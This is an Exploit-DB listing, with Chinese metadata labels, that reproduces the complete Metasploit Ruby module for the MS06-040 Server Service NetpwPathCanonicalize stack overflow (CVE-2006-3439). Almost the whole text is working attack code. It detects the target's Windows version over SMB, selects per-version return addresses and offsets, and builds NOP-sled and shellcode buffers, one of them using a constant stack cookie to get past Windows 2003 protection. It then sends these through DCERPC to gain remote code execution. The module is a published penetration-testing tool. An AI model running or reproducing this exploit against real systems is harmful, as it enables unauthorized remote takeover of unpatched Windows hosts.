标题: Microsoft Server Service - NetpwPathCanonicalize Overflow (MS06-040) (Metasploit) EDB-ID: 16367 CVE: 2006-3439 类型: REMOTE 平台: WINDOWS 发布日期: 2011-02-17 漏洞利用脚本: ##
# $Id: ms06_040_netapi.rb 11762 2011-02-17 03:56:15Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::DCERPC
 include Msf::Exploit::Remote::SMB

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft Server Service NetpwPathCanonicalize Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the NetApi32 CanonicalizePathName() function
    using the NetpwPathCanonicalize RPC call in the Server Service. It is likely that
    other RPC calls could be used to exploit this service. This exploit will result in
    a denial of service on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt
    will likely result in a complete reboot on Windows 2000 and the termination of all
    SMB-related services on Windows XP. The default target for this exploit should succeed
    on Windows NT 4.0, Windows 2000 SP0-SP4+, Windows XP SP0-SP1 and Windows 2003 SP0.
   },
   'Author'         =>
    [
     'hdm'
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 11762 $',
   'References'     =>
    [
     [ 'CVE', '2006-3439' ],
     [ 'OSVDB', '27845' ],
     [ 'BID', '19409' ],
     [ 'MSB', 'MS06-040' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     # Technically we can use more space than this, but by limiting it
     # to 370 bytes we can use the same request for all Windows SPs.
     'Space'    => 370,
     'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'DefaultTarget'  => 0,
   'Targets'        =>
    [
     [ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)', { } ],
     [ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4',
      {
       'Offset' => 1000,
       'Ret'    => 0x00020804
      }
     ],
     [ '(wcscpy) Windows XP SP0/SP1',
      {
       'Offset' => 612,
       'Ret'    => 0x00020804
      }
     ],
     [ '(stack)  Windows XP SP1 English',
      {
       'OffsetA' => 656,
       'OffsetB' => 680,
       'Ret'     => 0x71ab1d54 # jmp esp @ ws2_32.dll
      }
     ],
     [ '(stack)  Windows XP SP1 Italian',
      {
       'OffsetA' => 656,
       'OffsetB' => 680,
       'Ret'     => 0x71a37bfb # jmp esp @ ws2_32.dll
      }
     ],
     [ '(wcscpy) Windows 2003 SP0',
      {
       'Offset' => 612,
       'Ret'    => 0x00020804
      }
     ],
    ],

   'DisclosureDate' => 'Aug 8 2006'))

  register_options(
   [
    OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),
   ], self.class)

 end

 def exploit

  connect()
  smb_login()

  mytarget = target
  if (not target) or (target.name =~ /Automatic/)
   case smb_peer_os()
    when 'Windows 5.0'
     print_status("Detected a Windows 2000 target")
     mytarget = targets[1]

    when 'Windows NT 4.0'
     print_status("Detected a Windows NT 4.0 target")
     mytarget = targets[1]

    when 'Windows 5.1'
     begin
      smb_create("\\SRVSVC")
      print_status("Detected a Windows XP SP0/SP1 target")
     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      if (e.error_code == 0xc0000022)
       print_status("Windows XP SP2 is not exploitable")
       return
      end
      print_status("Detected a Windows XP target (unknown patch level)")
     end
     mytarget = targets[2]

    when /Windows Server 2003 (\d+)$/
     print_status("Detected a Windows 2003 SP0 target")
     mytarget = targets[5]

    when /Windows Server 2003 (\d+) Service Pack (\d+)/
     print_status("Windows 2003 SP#{$2} is not exploitable")
     return

    when /Samba/
     print_status("Samba is not vulnerable")
     return

    else
     print_status("No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
     return
   end
  end

  # Specific fixups for Windows NT
  case smb_peer_os()
  when 'Windows NT 4.0'
   print_status("Adjusting the SMB/DCERPC parameters for Windows NT")
   datastore['SMB::pipe_write_min_size'] = 2048
   datastore['SMB::pipe_write_max_size'] = 4096
  end

  handle = dcerpc_handle(
   '4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
   'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
  )

  print_status("Binding to #{handle} ...")
  dcerpc_bind(handle)
  print_status("Bound to #{handle} ...")

  #
  #  /* Function 0x1f at 0x767e912c */
  #  long function_1f (
  #    [in] [unique] [string] wchar_t * arg_00,
  #    [in] [string] wchar_t * arg_01,
  #    [out] [size_is(arg_03)] char * arg_02,
  #    [in] [range(0, 64000)] long arg_03,
  #    [in] [string] wchar_t * arg_04,
  #    [in,out] long * arg_05,
  #    [in] long arg_06
  #  );
  #

  print_status("Building the stub data...")
  stub = ''

  case mytarget.name

  # This covers NT 4.0 as well
  when /wcscpy.*Windows 2000/

   code = make_nops(mytarget['Offset'] - payload.encoded.length) + payload.encoded

   path = code + ( [mytarget.ret].pack('V') * 16 ) + "\x00\x00"

   stub =
    NDR.long(rand(0xffffffff)) +
    NDR.UnicodeConformantVaryingString('') +
    NDR.UnicodeConformantVaryingStringPreBuilt(path) +
    NDR.long(rand(250)+1) +
    NDR.UnicodeConformantVaryingStringPreBuilt("\xeb\x02\x00\x00") +
    NDR.long(rand(250)+1) +
    NDR.long(0)

  when /wcscpy.*Windows XP/
   path =
    # Payload goes first
    payload.encoded +

    # Padding
    rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +

    # Land 6 bytes in to bypass garbage (XP SP0)
    [ mytarget.ret + 6 ].pack('V') +

    # Padding
    rand_text_alphanumeric(8) +

    # Address to write our shellcode (XP SP0)
    [ mytarget.ret ].pack('V') +

    # Padding
    rand_text_alphanumeric(32) +

    # Jump straight to shellcode (XP SP1)
    [ mytarget.ret ].pack('V') +

    # Padding
    rand_text_alphanumeric(8) +

    # Address to write our shellcode (XP SP1)
    [ mytarget.ret ].pack('V') +

    # Padding
    rand_text_alphanumeric(32) +

    # Terminate the path
    "\x00\x00"

   stub =
    NDR.long(rand(0xffffffff)) +
    NDR.UnicodeConformantVaryingString('') +
    NDR.UnicodeConformantVaryingStringPreBuilt(path) +
    NDR.long(rand(0xf0)+1) +
    NDR.UnicodeConformantVaryingString('') +
    NDR.long(rand(0xf0)+1) +
    NDR.long(0)


  when /stack/
   buff = rand_text_alphanumeric(800)
   buff[0, payload.encoded.length] = payload.encoded
   buff[ mytarget['OffsetA'], 4 ] = [mytarget.ret].pack('V')
   buff[ mytarget['OffsetB'], 5 ] = "\xe9" + [ (mytarget['OffsetA'] + 5) * -1 ].pack('V')

   path = "\\\x00\\\x00" + buff + "\x00\x00"

   stub =
    NDR.long(rand(0xffffffff)) +
    NDR.UnicodeConformantVaryingString('') +
    NDR.UnicodeConformantVaryingStringPreBuilt(path) +
    NDR.long(rand(0xf0)+1) +
    NDR.UnicodeConformantVaryingString('') +
    NDR.long(rand(0xf0)+1) +
    NDR.long(0)


  when /wcscpy.*Windows 2003/
   path =
    # Payload goes first
    payload.encoded +

    # Padding
    rand_text_alphanumeric(mytarget['Offset'] - payload.encoded.length) +

    # Padding
    rand_text_alphanumeric(32) +

    # The cookie is constant,
    # noticed by Nicolas Pouvesle in Misc #28
    "\x4e\xe6\x40\xbb" +

    # Padding
    rand_text_alphanumeric(4) +

    # Jump straight to shellcode
    [ mytarget.ret ].pack('V') +

    # Padding
    rand_text_alphanumeric(8) +

    # Address to write our shellcode
    [ mytarget.ret ].pack('V') +

    # Padding
    rand_text_alphanumeric(40) +

    # Terminate the path
    "\x00\x00"

   stub =
    NDR.long(rand(0xffffffff)) +
    NDR.UnicodeConformantVaryingString('') +
    NDR.UnicodeConformantVaryingStringPreBuilt(path) +
    NDR.long(rand(0xf0)+1) +
    NDR.UnicodeConformantVaryingString('') +
    NDR.long(rand(0xf0)+1) +
    NDR.long(0)

  end

  print_status("Calling the vulnerable function...")

  begin
   dcerpc.call(0x1f, stub, false)
   dcerpc.call(0x1f, stub, false)
  rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  rescue => e
   if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
    raise e
   end
  end

  # Cleanup
  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16367